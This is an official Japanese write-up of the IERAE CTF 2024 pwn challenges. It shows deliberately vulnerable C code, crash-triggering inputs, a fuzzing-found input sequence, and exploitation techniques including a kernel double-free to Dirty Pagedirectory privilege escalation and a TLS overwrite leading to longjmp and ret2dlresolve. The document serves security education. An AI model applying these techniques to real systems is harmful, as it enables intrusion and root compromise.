【pwn】 IERAE CTF 2024 公式 Writeup
本記事では2024年9月21日~22日に開催された、IERAE CTF 2024のpwn問題の解法を解説します。
- This is warmup (warmup)
- Copy & Paste (easy, was_warmup)
- Command Recorder (easy)
- free2free (medium)
- Intel CET Bypass Challenge (medium)
- New Under The Sun (hard)
他のジャンルの解説は以下の記事をご覧ください:
This is warmup (warmup)
作問者: hugeh0ge
正解チーム数: 48
概要
非負整数値を二つ入力すると、それらを縦・横の大きさとして解釈し、市松模様を出力するプログラムです。
$ ./chal
Enter number of rows: 3
Enter number of cols: 6
I made Ichimatsu design for you!
0 1 0 1 0 1
1 0 1 0 1 0
0 1 0 1 0 1
コメントでも書かれている通り、SEGV(プログラムのクラッシュ)を引き起こせば、フラグが出力されます。
void win(int sig) {
char flag[128] = {};
puts("Well done!");
system("cat ./flag*");
exit(0);
}
...
int main() {
// If you cause SEGV, then you will get flag
signal(SIGSEGV, win);
脆弱性
このプログラムは、縦・横の大きさを受け取った後、それらを掛け算してサイズを計算し、malloc
によるバッファの確保を行っています。
printf("Enter number of rows: ");
scanf("%llu", &nrow);
printf("Enter number of cols: ");
scanf("%llu", &ncol);
...
char *matrix = malloc(nrow*ncol);
ここで、nrow
と ncol
はどちらも unsigned long long int
で宣言されており、64bit整数です。よって、掛け算の結果は最悪128bitの大きさになり、64bit整数には収まり切りません。結果として、nrow
とncol
に非常に大きな値を与えた場合、掛け算の結果は64bitを超え、64bitで切り捨てられた値が malloc
の引数として用いられることになります。言い換えると、いわゆる整数値オーバーフローが発生しています。
それにもかかわらず、以下のように、後続の処理では nrow*ncol
バイトのバッファが確保できている前提で処理が行われるため、大きなインデックスで配列外参照が生じることによりプログラムをクラッシュさせることができます。
for (unsigned long long int i=0; i<nrow; i++) {
for (unsigned long long int j=0; j<ncol; j++) {
matrix[i*ncol+j] = (i+j) % 2;
}
}
ただし、処理の途中に以下のような(誤った)整数値オーバーフローのチェックがあり、これを通過しないことには脆弱性を発火させることはできません。
if (nrow * ncol < nrow) { // this is integer overflow right?
puts("Don't hack!");
exit(1);
}
解法
前述した整数値オーバーフローのチェックは完全に誤っています。チェックしている条件は、整数値オーバーフローが起きるための十分条件ですが、必要条件ではありません。
例えば以下の値を与えることで、チェックをすり抜けた上でクラッシュを引き起こすことができます。
nrow = 2
ncol = 0x8000000000000001 (2 ** 63 + 1)
nrow * ncol(切り捨て前)= 0x10000000000000002 = (2 ** 64 + 2)
nrow * ncol(切り捨て後)= 2 (>= nrow)
計算結果が示す通り、nrow * ncol
は2
となり、malloc
により確保されるのは2バイトのバッファである一方、配列参照は非常に大きなインデックスに対して発生するため、クラッシュが発生します。
$ ./chal
Enter number of rows: 2
Enter number of cols: 9223372036854775809
Well done!
IERAE{s33?n07_41w4y5_1_cr3a73_d1ff1cu1t_pr0b13m5}
Copy & Paste (easy, was_warmup)
作問者: hugeh0ge
正解チーム数: 24
概要
2つのコマンドが提供されているプログラムで、ファイルの中身をバッファにロードすることと、バッファ同士でのコピーができます。
$ ./chal
1. Create new buffer and load file content
2. Copy some buffer to another
3. Exit
Enter command:
バッファは自身のサイズを記録しているため、単純にバッファのコピーによってバッファーオーバーフローが起きることはありません。
struct buffer {
size_t buf_size;
char *buf_ptr;
};
void copy() {
...
struct buffer *src = &bufs[src_idx];
struct buffer *dst = &bufs[dst_idx];
size_t copy_size = src->buf_size;
if (dst->buf_size < copy_size) copy_size = dst->buf_size;
memcpy(dst->buf_ptr, src->buf_ptr, copy_size);
printf("Copied %llu bytes from buf #%d to buf #%d\n", copy_size, src_idx, dst_idx);
}
This is warmupと同様に、クラッシュを起こせばフラグが得られます。
void win(int sig) {
char flag[128] = {};
puts("Well done!");
system("cat ./flag*");
exit(0);
}
...
int main() {
// If you cause SEGV, then you will get flag
signal(SIGSEGV, win);
脆弱性
ファイルの中身をバッファにロードする際、ftell
によってファイルサイズを取得しようとしていますが、戻り値の扱いに誤りがあります。
void create_new_buf() {
...
printf("Enter file name: ");
char *fname = read_str();
FILE *fp = fopen(fname, "r");
if (!fp) {
puts("Your specified file doesn't exist");
exit(1);
}
// Get file size to allocate buffer
fseek(fp, 0, SEEK_END);
int size = ftell(fp);
まず、ftell
の戻り値はlong
型であるため、int
型に収まる値が返ってくるとは限りません。
その上、ftell
は失敗時に-1
を返しますが、-1
が返ってきていないかを確認することなく、後続のバッファ確保で戻り値を利用しています。
char *ptr = malloc(sizeof(char)*(size+1)); // plus 1 for '\0'
if (!ptr) {
puts("malloc failed");
exit(1);
}
dst->buf_ptr = ptr;
dst->buf_size = size;
size
が-1
になっているとき、size+1
すなわち0
がmalloc
の引数になります。malloc(0)
は成功してしまうため、buf_size
が0xffffffffffffffff
(2 ** 64 - 1) であるようなバッファができてしまいます。
解法
まずは上述したように、ftell
に-1
を返させることで、異常なバッファを作成します。これは、例えば/proc/self/fd/2
をファイルとして読ませることで達成可能です。
$ ./chal
1. Create new buffer and load file content
2. Copy some buffer to another
3. Exit
Enter command: 1
Enter file name: /proc/self/fd/2
Read -1 bytes from /proc/self/fd/2
この作成されたバッファでは、buf_size
は64bit非負整数の最大値で、実際のバッファサイズは 0
になっています。すなわち、0
バイトの小さなバッファに、任意のサイズのデータをコピーすることができるため、適当に大きなバイト列をコピーすると、クラッシュが起きます。
Enter command: 1
Enter file name: /lib/x86_64-linux-gnu/libc.so.6
Read 1933688 bytes from /lib/x86_64-linux-gnu/libc.so.6
1. Create new buffer and load file content
2. Copy some buffer to another
3. Exit
Enter command: 2
Enter source index: 0
Enter destination index: 1
Well done!
IERAE{7h3_f1rs7_s73p_7o_b3_4_pwn3r_51a7806b}
Command Recorder (easy)
作問者: hugeh0ge
正解チーム数: 11
概要
以下のように、コマンドの列を登録し、順番に実行することができるプログラムが与えられます。
$ ./chal
1. Push command to the end of sequence
2. Pop command from sequence
3. Execute command sequence
4. Clear command sequence
5. Show command sequence
6. Exit
Enter command: 1
1. cat_flag
2. whoami
3. id
4. echo
Enter command: 3
1. Push command to the end of sequence
2. Pop command from sequence
3. Execute command sequence
4. Clear command sequence
5. Show command sequence
6. Exit
Enter command: 1
1. cat_flag
2. whoami
3. id
4. echo
Enter command: 4
Enter argument: hello
1. Push command to the end of sequence
2. Pop command from sequence
3. Execute command sequence
4. Clear command sequence
5. Show command sequence
6. Exit
Enter command: 5
Current sequence:
===============================
id
echo hello
===============================
1. Push command to the end of sequence
2. Pop command from sequence
3. Execute command sequence
4. Clear command sequence
5. Show command sequence
6. Exit
Enter command: 3
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)
hello
登録できるコマンドの中には cat_flag
というものがあり、これが実行されればフラグを得ることができます。
void win(void) {
char flag[128] = {};
puts("Well done!");
system("cat ./flag*");
exit(0);
}
...
void execute_sequence(void) {
...
if (strncmp(cur_line, "cat_flag\n", 9) == 0) {
win();
}
しかし、以下のようにcat_flag
を正規に登録することは禁止されているため、何らかの脆弱性により不正にcat_flag
を実行する必要があります。
$ ./chal
1. Push command to the end of sequence
2. Pop command from sequence
3. Execute command sequence
4. Clear command sequence
5. Show command sequence
6. Exit
Enter command: 1
1. cat_flag
2. whoami
3. id
4. echo
Enter command: 1
This command is only for admin. Sorry!
脆弱性
現在のコマンドの列から、指定したコマンドを削除する操作 pop_command
にバグがあります。
void pop_command(void) {
printf("Enter index to remove: ");
int idx = read_int();
...
char *cur_line = sequence_buf;
while (cur_line < &sequence_buf[cur_idx]) {
char *ptr = strchr(cur_line, '\n');
...
if (idx == 0) {
// remove one line (i.e., cur_line ~ ptr)
// to remove the command
strcpy(cur_line, ptr+1);
cur_idx = strlen(sequence_buf);
return;
}
cur_line = ptr+1;
idx--;
}
ここで、sequence_buf
は登録されたコマンドを改行区切りで順番に並べて記録しているバッファです。すなわち、1行につき1つのコマンドが格納されています。
一見問題ないように思えますが、strcpy
には「第1引数と第2引数の利用しているメモリが重複している場合、未定義動作になる」という仕様があります。cur_line
は削除されるコマンドの行からsequence_buf
のヌル文字まで、ptr+1
は次の行からsequence_buf
のヌル文字までを表す文字列であるため、これらは明らかに重なっています。実際に pop_command
を実行してからコマンド列を表示してみると、コマンド列が壊れ、異常なコマンドになることがあると分かります。
...
Enter command: 1
1. cat_flag
2. whoami
3. id
4. echo
Enter command: 3
...
Enter command: 1
1. cat_flag
2. whoami
3. id
4. echo
Enter command: 4
...
Enter command: 5
Current sequence:
===============================
id
echo ABCDEFGH
===============================
...
Enter command: 2
Enter index to remove: 0
...
Enter command: 5
Current sequence:
===============================
e ABCDEFGH ← 本来は"echo ABCDEFGH"であるべき
===============================
解法
上述したバグを利用して、不正に cat_flag\n
という1行をsequence_buf
に作ればいいです。strcpy
は一般にSIMD(現代のマシンでは基本的にAVX2以上)で実装されており、2引数が重複している場合の文字列の壊れ方はこのSIMD実装の中身に依存します。SIMD実装を読み、手作業でうまくcat_flag\n
を作ることもできなくはないですが、非常に手間がかかると言えるでしょう。
したがって、想定解法は、可能な操作をランダムに実行する、ファジングのような探索を行い、cat_flag\n
が作れるような操作手順を発見することです。作問者がテストした際には、以下のような入力により、cat_flag\n
を作ることができました。
S = '0123456789abcdefghijklmnopqrstuvwxyz'
seq = ['1', '4', S, '2', '0', '1', '4', S, '1', '2', '2', '0', '1', '2', '2', '0', '1', '3', '2', '0', '2', '0', '1', '3', '1', '2', '2', '1', '1', '4', S, '1', '2', '2', '2', '1', '2', '1', '2', '1', '4', S, '2', '4', '1', '4', S, '1', '3', '2', '4', '2', '0', '1', '3', '1', '3', '2', '4', '1', '2', '1', '2', '2', '0', '2', '2', '1', '4', S, '2', '3', '1', '3', '1', '4', S, '1', '2', '2', '5', '2', '4', '1', '2', '2', '6', '1', '3', '2', '7', '2', '1', '2', '0', '2', '1', '1', '3', '2', '1', '2', '4', '2', '0', '1', '3', '2', '5', '1', '4', S, '1', '2', '2', '5', '1', '2', '2', '0']
for l in seq:
p.sendline(l.replace('ijklmnop', 'cat_flag'))
free2free (medium)
作問者: rona
正解チーム数: 2
概要
chal.c
を読むとioctlのハンドラが以下のように定義されています。
CMD_ADD_OBJ
: 任意のサイズでkmalloc
を行うことができるCMD_DEL_OBJ
: 指定したインデックスに存在するオブジェクトをkfree
するCMD_SUPER_DEL_OBJ
: 指定したインデックスに存在するオブジェクトをkfree
してobjs
を0クリア
static long chal_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
...
switch (cmd) {
case CMD_ADD_OBJ:
for (idx = 0; idx < NUM_OBJ; idx++) {
if (objs[idx].ptr || objs[idx].is_alloced) continue;
objs[idx].ptr = kmalloc(arg, GFP_KERNEL);
objs[idx].is_alloced = true;
ret = idx;
break;
}
break;
case CMD_DEL_OBJ:
idx = arg;
if (idx < NUM_OBJ && objs[idx].is_alloced) {
kfree(objs[idx].ptr);
objs[idx].is_alloced = false;
ret = 0;
}
break;
case CMD_SUPER_DEL_OBJ:
idx = arg;
if (!did_super_del && idx < NUM_OBJ) {
kfree(objs[idx].ptr);
did_super_del = true;
memset(objs, '\0', sizeof(objs));
ret = 0;
}
break;
}
脆弱性
脆弱性はkfree
が同じアドレスに対して2度呼べることです。
解法
このブログで紹介されているDirty Pagedirectoryと呼ばれる攻撃を行います。
攻撃の流れは以下です。
kmalloc
でorder>=4 のオブジェクトを割り当てるCMD_DEL_OBJ
でオブジェクトを解放- PTEを大量に割り当てて、1.で割り当てたアドレスをカーネルに再利用させる
CMD_SUPER_DEL_OBJ
でPTEを解放- Page Directoryを大量に割り当ててPTEだったアドレスを再利用
- 物理アドレスのAAR,AAWができるので、
modprobe
を書き換えて権限昇格
前半 アドレスの再利用
上記1~3は一度kmalloc
で割り当てられたアドレスをPTEに再度割り当てさせる工程です。
kmalloc
で取得される領域はそのサイズによってどこから確保されるかがかわります。order>=4(PAGE_SIZE * (1 << 4)
以上)の領域を要求した場合は、buddyアロケータから確保されます。これは、後述のPTEがbuddyアロケータから確保される(__alloc_pages
経由で確保される)ことから重要です。
PTEとは物理アドレスの配列です。PTEとして使われているページは(マスクされた)物理アドレスを保持しており、論理アドレスと物理アドレスを紐付ける役割を担っています。
詳しくは筑波大学の講義資料やこちらの資料を参考にしてください。
重要なのは、PTEを書き換えることができると、仮想アドレスを任意の物理アドレスと紐付けることがでるため、AAR(任意読み込み)とAAW(任意書き込み)のプリミティブが手に入るということです。
後半 AARとAAWの構築
上記4~6では、Double freeを用いてPTEをPMDと被らせることで、AARとAAWの構築をしています。
kfree
はPTEのようにalloc_pages
で確保されたアドレスを引数に呼び出されたとき、そのページをbuddyアロケータに返却します。したがって、CMD_SUPER_DEL_OBJ
でPTEをkfreeすると、次回alloc_pages
でページが確保されたときにPTEであったページを返します。参考文献のコードをこの問題に合わせて改変すると以下のようなコードになるでしょう。
static void kref_juggling(void)
{
struct page *obj, *pte, *pmd;
obj = kmalloc(0x1000 * (1<<4)); // refcount 0 -> 1
kfree(obj); // refcount 1 -> 0
pte = alloc_pages(GFP_KERNEL, 0); // refcount 0 -> 1
kfree(obj); // refcount 1 -> 0
pmd = alloc_pages(GFP_KERNEL, 0); // refcount 0 -> 1
}
pmdにページを確保したあとは画像のようにPTEとPMDが同一のページに存在しており、この状態でDouble freeされたページをPMDと見るポインタ(victim ptr)をデリファレンスすると任意の物理アドレスに対する読み込み、書き込みができます。
このプリミティブを使ってmodprobe_path
を書き換えることでroot権限で任意のコードを実行できます。
Intel CET Bypass Challenge (medium)
作問者: hugeh0ge
正解チーム数: 5
本問題については、以下のブログ記事にて別途解説しています:
https://gmo-cybersecurity.com/blog/intel-cet-bypass-on-linux-userland/
New Under The Sun (hard)
作問者: hugeh0ge
正解チーム数: 0
概要
以下の19行の小さいプログラム上で任意のコード実行をする問題です。
// gcc chal.c -o chal -O3 -no-pie
#include <stdio.h>
#include <stdlib.h>
_Thread_local char buf[16];
int main() {
long long int idxs[11] = {};
long long int vals[11] = {};
for (int i=0; i<11; i++) {
scanf("%lld%lld", &idxs[i], &vals[i]);
if (idxs[i] < 0 || 0x3000 <= idxs[i]) continue; // Idiot
buf[idxs[i]] = vals[i];
}
exit(0);
}
脆弱性
明らかに、char
型の配列buf[16]
に対して、buf[idxs[i]]
により配列外参照が起きています。
解法
_Thread_local
指定子により、buf
はTLS (Thread Local Storage)領域上に配置されます(具体的には、fs:-0x10
)。idxs[i]
は負の値にできないことから、libcやld.soが利用する、TLS領域上の変数を書き換えることはできないと分かります。したがって、例えば__call_tls_dtors
のような既知の手法を使うことはできません。また、アドレスリークがないため、__run_exit_handlers
などを利用するのも難しいでしょう。言い換えると、fs:0
以降の変数を11バイトだけ書き換えて、任意のコード実行に持ちこむ必要があります。
ここで、glibcを読んでみると、fs:0
に存在している構造体struct pthread
には、以下のようなメンバが存在していることが分かります。
struct pthread
{
...
/* Unwind information. */
struct pthread_unwind_buf *cleanup_jmp_buf;
/* Flags determining processing of cancellation. */
int cancelhandling;
...
};
/* Internal version of the buffer to store cancellation handler
information. */
struct pthread_unwind_buf
{
struct
{
__jmp_buf jmp_buf;
int mask_was_saved;
} cancel_jmp_buf[1];
実は、cancelhandling
をうまく書き換えることで、scanf
の終了時に、このjmp_buf
によるlongjmp
が実行されます。longjmp
で設定されるレジスタ群の一部は、PTR_MANGLE
により値が暗号化されていますが、暗号化鍵はfs:0x30
に存在するpointer_guard
であるため、書き換えて無効化することができます。8バイトの書き換えでpointer_guard
を任意の値に設定し、1バイトの書き換えでcancelhandling
を上書き、2バイトの書き換えでcleanup_jmp_buf
のアドレスをPartial Overwriteすることで、1/16の確率で、main
関数のidxs
やvals
をjmp_buf
として用いることができます。
ここまでくればrip
を任意に設定できているため、あと一息ですが、アドレスのリークがほとんど不可能である点にだけ注意が必要です。想定解では、アドレスのリークを用いずに任意のコード実行を達成するため、ret2dlresolveを用いました。ret2dlresolveでは、dl_runtime_resolve
に読み込ませるための偽の構造体データをいくつか作成する必要がありますが、これはlongjmp
によって、rsp
をbssにpivotしつつ、再度main
関数に戻ることで達成可能です。